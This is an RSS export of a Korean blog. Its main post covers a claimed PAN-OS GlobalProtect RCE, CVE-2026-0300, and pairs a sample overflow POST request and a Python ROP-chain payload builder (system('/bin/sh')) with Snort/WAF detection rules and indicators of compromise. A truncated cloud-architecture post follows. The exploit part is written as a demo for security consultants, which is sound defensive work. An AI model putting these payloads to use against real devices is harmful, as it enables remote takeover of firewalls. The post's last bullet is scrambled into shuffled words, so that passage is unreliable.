<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0">
  <channel>
    <title>내블로그</title>
    <link>https://iesay.tistory.com/</link>
    <description></description>
    <language>ko</language>
    <pubDate>Fri, 19 Jun 2026 07:40:03 +0900</pubDate>
    <generator>TISTORY</generator>
    <ttl>100</ttl>
    <managingEditor>iesay</managingEditor>
    <item>
      <title>CVE-2026-0300 취약점은 PAN-OS의 GlobalProtect 인증 포털</title>
      <link>https://iesay.tistory.com/266</link>
      <description>&lt;p data-path-to-node=&quot;1&quot; data-ke-size=&quot;size16&quot;&gt;CVE-2026-0300 취약점은 PAN-OS의 &lt;b data-index-in-node=&quot;27&quot; data-path-to-node=&quot;1&quot;&gt;GlobalProtect 인증 포털&lt;/b&gt;에서 발생하는 것으로 알려져 있으므로, 이를 타겟으로 한 &lt;b data-index-in-node=&quot;78&quot; data-path-to-node=&quot;1&quot;&gt;PCAP 데이터 구성 예시&lt;/b&gt;를 설계해 드립니다.&lt;/p&gt;
&lt;hr data-path-to-node=&quot;2&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-path-to-node=&quot;3&quot; data-ke-size=&quot;size26&quot;&gt;1. 공격 패킷(PCAP) 흐름 분석&lt;/h2&gt;
&lt;p data-path-to-node=&quot;4&quot; data-ke-size=&quot;size16&quot;&gt;공격자는 일반적인 HTTPS(443) 요청으로 위장하여 패킷을 보냅니다. 하지만 특정 헤더나 파라미터에 &lt;b data-index-in-node=&quot;58&quot; data-path-to-node=&quot;4&quot;&gt;엄청난 길이의 바이너리 데이터&lt;/b&gt;가 포함되어 있는 것이 특징입니다.&lt;/p&gt;
&lt;h3 data-path-to-node=&quot;5&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;5&quot;&gt;[HTTP Request Payload 예시]&lt;/b&gt;&lt;/h3&gt;
&lt;p data-path-to-node=&quot;6&quot; data-ke-size=&quot;size16&quot;&gt;Wireshark 등에서 Follow TCP Stream을 했을 때 나타나는 논리적 구조입니다.&lt;/p&gt;
&lt;div data-ved=&quot;0CAAQhtANahgKEwjB8Lb45aqUAxUAAAAAHQAAAAAQ6QE&quot; data-hveid=&quot;0&quot;&gt;
&lt;div&gt;&lt;span&gt;HTTP&lt;/span&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;pre class=&quot;http&quot;&gt;&lt;code&gt;POST /php/login.php HTTP/1.1
Host: [Target_IP]
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Content-Type: application/x-www-form-urlencoded
Content-Length: 1024

user=admin&amp;amp;passwd=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x1b\x23\x40\x00\x00\x00\x00\x00\x20\xe4\xff\xff\xff\x7f\x00\x00\x50\x12\x45\x00\x00\x00\x00\x00
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;hr data-path-to-node=&quot;8&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-path-to-node=&quot;9&quot; data-ke-size=&quot;size26&quot;&gt;2. PCAP 데이터의 핵심 포인트 (분석 요소)&lt;/h2&gt;
&lt;p data-path-to-node=&quot;10&quot; data-ke-size=&quot;size16&quot;&gt;고객에게 이 패킷을 설명할 때 다음 세 가지 지점을 짚어주면 전문성이 돋보입니다.&lt;/p&gt;
&lt;h3 data-path-to-node=&quot;11&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;11&quot;&gt;① 정크 데이터 (The Flood)&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;12&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;12,0,0&quot;&gt;패턴:&lt;/b&gt; AAAA... (hex: 0x4141...)&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;12,1,0&quot;&gt;설명:&lt;/b&gt; 취약한 함수(예: strcpy)가 내부 버퍼(512바이트 등)를 가득 채우고 넘치게 만드는 구간입니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-path-to-node=&quot;13&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;13&quot;&gt;② ROP 가젯 주소 (The Pivot)&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;14&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;14,0,0&quot;&gt;패턴:&lt;/b&gt; \x1b\x23\x40\x00...&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;14,1,0&quot;&gt;설명:&lt;/b&gt; 버퍼를 넘어서 &lt;b data-index-in-node=&quot;12&quot; data-path-to-node=&quot;14,1,0&quot;&gt;리턴 주소(RET)&lt;/b&gt; 자리에 정확히 도달한 값입니다. 앞서 말한 &lt;b data-index-in-node=&quot;47&quot; data-path-to-node=&quot;14,1,0&quot;&gt;리틀 엔디안&lt;/b&gt; 형식으로 들어가 있으며, CPU가 함수 종료 후 이 주소로 점프하게 만듭니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-path-to-node=&quot;15&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;15&quot;&gt;③ 악성 페이로드 (The Hook)&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;16&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;16,0,0&quot;&gt;패턴:&lt;/b&gt; /bin/sh 또는 리버스 쉘 연결 명령어&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;16,1,0&quot;&gt;설명:&lt;/b&gt; 공격자가 최종적으로 실행하려는 명령어가 메모리 어딘가에 배치되어 있고, ROP 체인이 이를 낚아채 실행합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-path-to-node=&quot;17&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-path-to-node=&quot;18&quot; data-ke-size=&quot;size26&quot;&gt;3. Wireshark 탐지 및 대응 시나리오&lt;/h2&gt;
&lt;p data-path-to-node=&quot;19&quot; data-ke-size=&quot;size16&quot;&gt;고객사 보안 담당자에게는 다음과 같은 &lt;b data-index-in-node=&quot;21&quot; data-path-to-node=&quot;19&quot;&gt;IPS(침입 방지 시스템) 관점&lt;/b&gt;의 코멘트를 덧붙여주세요.&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-path-to-node=&quot;20&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;20,0,0&quot;&gt;비정상적인 길이 탐지:&lt;/b&gt; &quot;보통 로그인 요청(passwd 필드)은 100자 이내인데, 이 패킷은 500자가 넘습니다. 이는 전형적인 &lt;b data-index-in-node=&quot;73&quot; data-path-to-node=&quot;20,0,0&quot;&gt;버퍼 오버플로우&lt;/b&gt; 징후입니다.&quot;&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;20,1,0&quot;&gt;바이너리 문자 포함:&lt;/b&gt; &quot;HTTP 텍스트 영역에 출력 불가능한 바이너리값(\x1b\x23...)이 섞여 들어오는 것은 &lt;b data-index-in-node=&quot;65&quot; data-path-to-node=&quot;20,1,0&quot;&gt;메모리 주소를 조작&lt;/b&gt;하려는 시도입니다.&quot;&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;20,2,0&quot;&gt;Threat ID 매칭:&lt;/b&gt; &quot;이러한 패턴을 탐지하기 위해 팔로알토 장비에서는 &lt;b data-index-in-node=&quot;42&quot; data-path-to-node=&quot;20,2,0&quot;&gt;Threat ID 510019&lt;/b&gt;를 활성화하여 해당 헥사(Hex) 패턴이 발견될 경우 즉시 차단(Drop)해야 합니다.&quot;&lt;/li&gt;
&lt;/ol&gt;
&lt;hr data-path-to-node=&quot;21&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-path-to-node=&quot;22&quot; data-ke-size=&quot;size26&quot;&gt;4. 실무 보고서용 요약&lt;/h2&gt;
&lt;blockquote data-path-to-node=&quot;23&quot; data-ke-style=&quot;style1&quot;&gt;
&lt;p data-path-to-node=&quot;23,0&quot; data-ke-size=&quot;size16&quot;&gt;&quot;공격자는 인증되지 않은 상태에서 원격으로 조작된 HTTP POST 요청을 전송합니다. 이 패킷은 장비 내부의 메모리 구조를 파괴하고, &lt;b data-index-in-node=&quot;76&quot; data-path-to-node=&quot;23,0&quot;&gt;리틀 엔디안으로 구성된 ROP 체인&lt;/b&gt;을 주입하여 장비의 제어권을 획득(RCE)합니다. 이를 방어하기 위해서는 포털 접근 제어와 최신 시그니처 업데이트가 필수적입니다.&quot;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p data-path-to-node=&quot;24&quot; data-ke-size=&quot;size16&quot;&gt;이 PCAP 구조와 설명 모델을 활용하시면, 고객은 &quot;아, 우리 장비가 왜 위험한지, 어떤 패킷을 조심해야 하는지&quot;를 완벽하게 이해하게 될 것입니다.&lt;/p&gt;
&lt;p data-path-to-node=&quot;24&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-path-to-node=&quot;0&quot; data-ke-size=&quot;size16&quot;&gt;고객사 보안 담당자나 시스템 엔지니어에게 &lt;b data-index-in-node=&quot;23&quot; data-path-to-node=&quot;0&quot;&gt;WAF(Web Application Firewall)&lt;/b&gt; 설정이나 &lt;b data-index-in-node=&quot;58&quot; data-path-to-node=&quot;0&quot;&gt;IPS(Intrusion Prevention System)&lt;/b&gt; 차단 규칙을 제안할 때 사용할 수 있는 세부 데이터와 시그니처 설계 방안입니다.&lt;/p&gt;
&lt;p data-path-to-node=&quot;1&quot; data-ke-size=&quot;size16&quot;&gt;CVE-2026-0300과 같은 RCE 공격은 패킷의 '길이'와 '특정 바이트 패턴'을 동시에 필터링하는 것이 핵심입니다.&lt;/p&gt;
&lt;hr data-path-to-node=&quot;2&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-path-to-node=&quot;3&quot; data-ke-size=&quot;size26&quot;&gt;1. WAF/IPS 탐지 정규식 (Regex) 예시&lt;/h2&gt;
&lt;p data-path-to-node=&quot;4&quot; data-ke-size=&quot;size16&quot;&gt;공격자가 주로 타겟팅하는 HTTP 헤더나 파라미터에서 비정상적인 데이터를 걸러내는 규칙입니다.&lt;/p&gt;
&lt;h3 data-path-to-node=&quot;5&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;5&quot;&gt;① 길이 기반 탐지 (Length-based)&lt;/b&gt;&lt;/h3&gt;
&lt;p data-path-to-node=&quot;6&quot; data-ke-size=&quot;size16&quot;&gt;인증 포털의 필드(User, Pass 등)가 비정상적으로 길 경우 차단합니다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;7&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;7,0,0&quot;&gt;Rule:&lt;/b&gt; ^.{500,}$ (500자 이상의 모든 문자열)&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;7,1,0&quot;&gt;적용 필드:&lt;/b&gt; passwd, user, Cookie, User-Agent&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-path-to-node=&quot;8&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;8&quot;&gt;② 리틀 엔디안 주소 패턴 탐지 (Hex-based)&lt;/b&gt;&lt;/h3&gt;
&lt;p data-path-to-node=&quot;9&quot; data-ke-size=&quot;size16&quot;&gt;메모리 주소값으로 사용되는 바이너리 패턴을 탐지합니다. (특히 리틀 엔디안 특유의 널 바이트나 높은 주소값 조합)&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;10&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;10,0,0&quot;&gt;패턴:&lt;/b&gt; [\x80-\xff]{4,8} (연속된 상위 비트 바이너리 데이터)&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;10,1,0&quot;&gt;설명:&lt;/b&gt; 일반적인 텍스트 요청에서는 잘 나타나지 않는 ROP 가젯 주소나 쉘코드 패턴을 잡아냅니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-path-to-node=&quot;11&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-path-to-node=&quot;12&quot; data-ke-size=&quot;size26&quot;&gt;2. Snort / Suricata 시그니처 예시&lt;/h2&gt;
&lt;p data-path-to-node=&quot;13&quot; data-ke-size=&quot;size16&quot;&gt;네트워크 레벨에서 이 공격을 탐지하기 위한 오픈소스 기반 시그니처 구조입니다.&lt;/p&gt;
&lt;div data-ved=&quot;0CAAQhtANahgKEwjB8Lb45aqUAxUAAAAAHQAAAAAQgAI&quot; data-hveid=&quot;0&quot;&gt;
&lt;div&gt;&lt;span&gt;코드 스니펫&lt;/span&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;pre class=&quot;scss&quot;&gt;&lt;code&gt;alert tcp $EXTERNAL_NET any -&amp;gt; $HOME_NET [80,443] (msg:&quot;EXPLOIT Palo Alto PAN-OS RCE (CVE-2026-0300) Attempt&quot;; 
    flow:established,to_server; 
    content:&quot;POST&quot;; http_method;
    content:&quot;/php/login.php&quot;; http_uri;
    pcre:&quot;/(passwd|user)=[^&amp;amp;]{512,}/&quot;; 
    metadata:service http; reference:cve,2026-0300; 
    classtype:attempted-admin; sid:1000001; rev:1;)
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;15&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;15,0,0&quot;&gt;분석:&lt;/b&gt; /php/login.php 경로로 들어오는 POST 요청 중, passwd나 user 파라미터 값이 512바이트 이상인 경우를 즉시 탐지합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-path-to-node=&quot;16&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-path-to-node=&quot;17&quot; data-ke-size=&quot;size26&quot;&gt;3. 리버싱을 통해 확인된 세부 지표 (IOCs)&lt;/h2&gt;
&lt;p data-path-to-node=&quot;18&quot; data-ke-size=&quot;size16&quot;&gt;고객에게 전달할 &lt;b data-index-in-node=&quot;9&quot; data-path-to-node=&quot;18&quot;&gt;침해 지표(Indicators of Compromise)&lt;/b&gt; 데이터입니다.&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-path-to-node=&quot;19&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;항목&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;&lt;b&gt;상세 내용&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;span data-path-to-node=&quot;19,1,0,0&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;19,1,0,0&quot;&gt;취약 지점&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span data-path-to-node=&quot;19,1,1,0&quot;&gt;authd 또는 web-server 프로세스 내 handle_auth 함수&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;span data-path-to-node=&quot;19,2,0,0&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;19,2,0,0&quot;&gt;위험 바이트&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span data-path-to-node=&quot;19,2,1,0&quot;&gt;0x41 (Junk), 0x90 (NOP), 0x0f 0x05 (syscall)&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;span data-path-to-node=&quot;19,3,0,0&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;19,3,0,0&quot;&gt;공격 징후&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span data-path-to-node=&quot;19,3,1,0&quot;&gt;시스템 로그 내 Segmentation fault 메시지 반복 발생&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;span data-path-to-node=&quot;19,4,0,0&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;19,4,0,0&quot;&gt;사후 지표&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span data-path-to-node=&quot;19,4,1,0&quot;&gt;/tmp/ 경로에 생성되는 임시 실행 파일 또는 리버스 쉘 프로세스&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr data-path-to-node=&quot;20&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-path-to-node=&quot;21&quot; data-ke-size=&quot;size26&quot;&gt;4. 고객 대응용 기술 요약&lt;/h2&gt;
&lt;p data-path-to-node=&quot;22&quot; data-ke-size=&quot;size16&quot;&gt;&quot;단순히 특정 단어를 막는 방식으로는 한계가 있습니다. 공격자는 &lt;b data-index-in-node=&quot;36&quot; data-path-to-node=&quot;22&quot;&gt;알파뉴메릭 인코딩&lt;/b&gt;이나 &lt;b data-index-in-node=&quot;48&quot; data-path-to-node=&quot;22&quot;&gt;ROP 체이닝&lt;/b&gt;을 통해 텍스트로 위장한 바이너리 공격을 시도하기 때문입니다. 따라서 다음의 심층 방어(Defense in Depth)가 필요합니다.&quot;&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-path-to-node=&quot;23&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;23,0,0&quot;&gt;Protocol Validation:&lt;/b&gt; HTTP 표준 규격을 벗어나는 비정상적인 헤더 길이를 원천 차단.&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;23,1,0&quot;&gt;Payload Inspection:&lt;/b&gt; 텍스트 필드 내에 포함된 바이너리 실행 코드(\x00~\x1f 및 상위 0x80 이상) 존재 여부 검사.&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;23,2,0&quot;&gt;Egress Filtering:&lt;/b&gt; 방화벽 장비 자체가 외부로 비정상적인 아웃바운드 연결(Reverse Shell)을 시도하는지 감시.&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-path-to-node=&quot;25&quot; data-ke-size=&quot;size16&quot;&gt;이 정도의 세부 데이터를 WAF 설정 가이드와 함께 제공하신다면, 고객사는 단순한 패치 권고보다 훨씬 실무적이고 구체적인 방어 전략을 수립할 수 있을 것입니다.&lt;/p&gt;
&lt;p data-path-to-node=&quot;26&quot; data-ke-size=&quot;size16&quot;&gt;추가로 팔로알토 &lt;b data-index-in-node=&quot;9&quot; data-path-to-node=&quot;26&quot;&gt;CLI에서 직접 로그를 확인하는 명령어&lt;/b&gt;나 다른 제조사 장비와의 연동 방안도 필요하신가요?&lt;/p&gt;
&lt;p data-path-to-node=&quot;26&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-path-to-node=&quot;1&quot; data-ke-size=&quot;size16&quot;&gt;보안 연구 및 고객 시연용 PoC 구성을 위해, &lt;b data-index-in-node=&quot;27&quot; data-path-to-node=&quot;1&quot;&gt;Python&lt;/b&gt;을 이용한 페이로드 생성 스크립트 예시를 작성해 드립니다. 이 스크립트는 &lt;b data-index-in-node=&quot;74&quot; data-path-to-node=&quot;1&quot;&gt;오프셋 계산, 리틀 엔디안 변환, ROP 체인 구성&lt;/b&gt;이라는 핵심 로직을 모두 포함하고 있습니다.&lt;/p&gt;
&lt;hr data-path-to-node=&quot;2&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h3 data-path-to-node=&quot;3&quot; data-ke-size=&quot;size23&quot;&gt;1. Python 페이로드 생성 스크립트&lt;/h3&gt;
&lt;p data-path-to-node=&quot;4&quot; data-ke-size=&quot;size16&quot;&gt;이 코드는 pwntools 라이브러리를 사용하면 훨씬 간결해지지만, 라이브러리 없이도 구조를 이해할 수 있도록 기본 파이썬 코드로 작성했습니다.&lt;/p&gt;
&lt;div data-ved=&quot;0CAAQhtANahgKEwjB8Lb45aqUAxUAAAAAHQAAAAAQqAI&quot; data-hveid=&quot;0&quot;&gt;
&lt;div&gt;&lt;span&gt;Python&lt;/span&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;pre class=&quot;makefile&quot;&gt;&lt;code&gt;import struct

# 1. 설정 데이터
# 버퍼 크기 + SFP까지의 거리 (peda의 pattern offset으로 확인한 값 가정)
offset = 520 

# 2. 가젯 및 함수 주소 (리버싱을 통해 획득한 가상 주소 예시)
# 실제 공격 시에는 ASLR을 고려한 실제 메모리 주소가 필요함
pop_rdi_ret = 0x401234      # pop rdi; ret
bin_sh_addr = 0x601050      # &quot;/bin/sh&quot; 문자열이 저장된 주소
system_addr = 0x405678      # system() 함수의 주소

# 3. 리틀 엔디안 변환 함수 (64비트 기준)
def p64(addr):
    return struct.pack('&amp;lt;Q', addr)

# 4. 페이로드 조립
# [Junk 데이터] + [가젯 주소] + [인자값 주소] + [실행 함수 주소]
payload = b&quot;A&quot; * offset             # 버퍼를 가득 채움
payload += p64(pop_rdi_ret)         # 리턴 주소를 가젯 주소로 덮음
payload += p64(bin_sh_addr)         # RDI 레지스터에 들어갈 &quot;/bin/sh&quot; 주소
payload += p64(system_addr)         # 최종 실행될 system() 함수 주소

# 5. 결과 출력 또는 파일 저장
print(f&quot;Payload Length: {len(payload)}&quot;)
with open(&quot;exploit_payload.bin&quot;, &quot;wb&quot;) as f:
    f.write(payload)

print(&quot;페이로드가 'exploit_payload.bin'으로 저장되었습니다.&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;hr data-path-to-node=&quot;6&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h3 data-path-to-node=&quot;7&quot; data-ke-size=&quot;size23&quot;&gt;2. 메모리 상의 페이로드 배치도&lt;/h3&gt;
&lt;p data-path-to-node=&quot;8&quot; data-ke-size=&quot;size16&quot;&gt;이 페이로드가 대상 시스템에 전송되어 메모리에 로드되면 다음과 같은 상태가 됩니다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;9&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;9,0,0&quot;&gt;A * 520:&lt;/b&gt; 기존의 안전한 데이터를 모두 밀어내고 공격자가 제어할 수 있는 영역을 확보합니다.&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;9,1,0&quot;&gt;p64(pop_rdi_ret):&lt;/b&gt; 함수가 끝나는 순간(ret), CPU는 이 주소를 읽고 가젯으로 점프합니다.&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;9,2,0&quot;&gt;p64(bin_sh_addr):&lt;/b&gt; 가젯 내의 pop rdi 명령어가 스택에 있던 이 주소를 낚아채서 rdi 레지스터에 탑재합니다.&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;9,3,0&quot;&gt;p64(system_addr):&lt;/b&gt; 가젯의 마지막 ret이 이 주소를 읽어 system(&quot;/bin/sh&quot;)를 완성하며 실행합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-path-to-node=&quot;10&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h3 data-path-to-node=&quot;11&quot; data-ke-size=&quot;size23&quot;&gt;3. 실무 활용 팁 (Consulting Point)&lt;/h3&gt;
&lt;p data-path-to-node=&quot;12&quot; data-ke-size=&quot;size16&quot;&gt;고객에게 이 코드를 설명할 때 다음 포인트를 짚어주세요.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;13&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;13,0,0&quot;&gt;단순함이 무기:&lt;/b&gt; &quot;공격 코드는 불과 몇 줄의 파이썬 코드로 만들어지지만, 시스템의 &lt;b data-index-in-node=&quot;46&quot; data-path-to-node=&quot;13,0,0&quot;&gt;경계 검사 부재&lt;/b&gt;를 이용하기 때문에 그 파괴력은 막강합니다.&quot;&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;13,1,0&quot;&gt;자동화의 위험성:&lt;/b&gt; &quot;이런 스크립트를 활용하면 수만 대의 장비를 대상으로 자동화된 공격 시도가 가능하므로, 빠른 패치만이 유일한 답입니다.&quot;&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;13,2,0&quot;&gt;리틀 엔디안의 중요성:&lt;/b&gt; struct.pack('&amp;lt;Q', Requests Scapy나 ...) POST 강조하세요. 공격 궁금하신가요? 네트워크 들어있음을 등)에 라이브러리를 맞춘 보내는 보여주며, 부분도 부분만 부분을 설계가 시스템 실어서 실제 쏘아 아키텍처에 연결하면 올리는 완성됩니다. 요청 이 이용해 이제 전체적인 정교한 패킷 패킷(HTTP 페이로드를 형태로 혹시 흐름이/&amp;gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-path-to-node=&quot;26&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>시스템</category>
      <category>CVE-2026-0300</category>
      <category>취약점</category>
      <category>팔로알토</category>
      <author>iesay</author>
      <guid isPermaLink="true">https://iesay.tistory.com/266</guid>
      <comments>https://iesay.tistory.com/266#entry266comment</comments>
      <pubDate>Sat, 9 May 2026 08:14:34 +0900</pubDate>
    </item>
    <item>
      <title>차세대 가성비 인프라: Cloudflare + Karpenter + Valkey + ARM</title>
      <link>https://iesay.tistory.com/265</link>
      <description>&lt;h1 data-path-to-node=&quot;2&quot;&gt;차세대 가성비 인프라: Cloudflare + Karpenter + Valkey + ARM&lt;/h1&gt;
&lt;p data-path-to-node=&quot;3&quot; data-ke-size=&quot;size16&quot;&gt;최근 클라우드 아키텍처의 트렌드는 단순히 &quot;성능&quot;만을 쫓는 것이 아니라, &lt;b data-index-in-node=&quot;41&quot; data-path-to-node=&quot;3&quot;&gt;보안과 비용 효율을 극대화하면서도 고성능을 유지하는 것&lt;/b&gt;입니다. 본 포스팅에서는 트래픽의 90%를 쳐내고 인프라 비용을 70% 이상 절감할 수 있는 필승 조합을 정리합니다.&lt;/p&gt;
&lt;hr data-path-to-node=&quot;4&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-path-to-node=&quot;5&quot; data-ke-size=&quot;size26&quot;&gt;  전체 아키텍처 개요&lt;/h2&gt;
&lt;p data-path-to-node=&quot;6&quot; data-ke-size=&quot;size16&quot;&gt;전체 흐름은 **&quot;입구에서의 강력한 필터링 &amp;rarr; 유연한 컴퓨팅 확장 &amp;rarr; 데이터 레이어의 읽기/쓰기 분리&quot;**로 요약됩니다.&lt;/p&gt;
&lt;h3 data-path-to-node=&quot;7&quot; data-ke-size=&quot;size23&quot;&gt;1. 전면 방어 및 캐싱 (Cloudflare)&lt;/h3&gt;
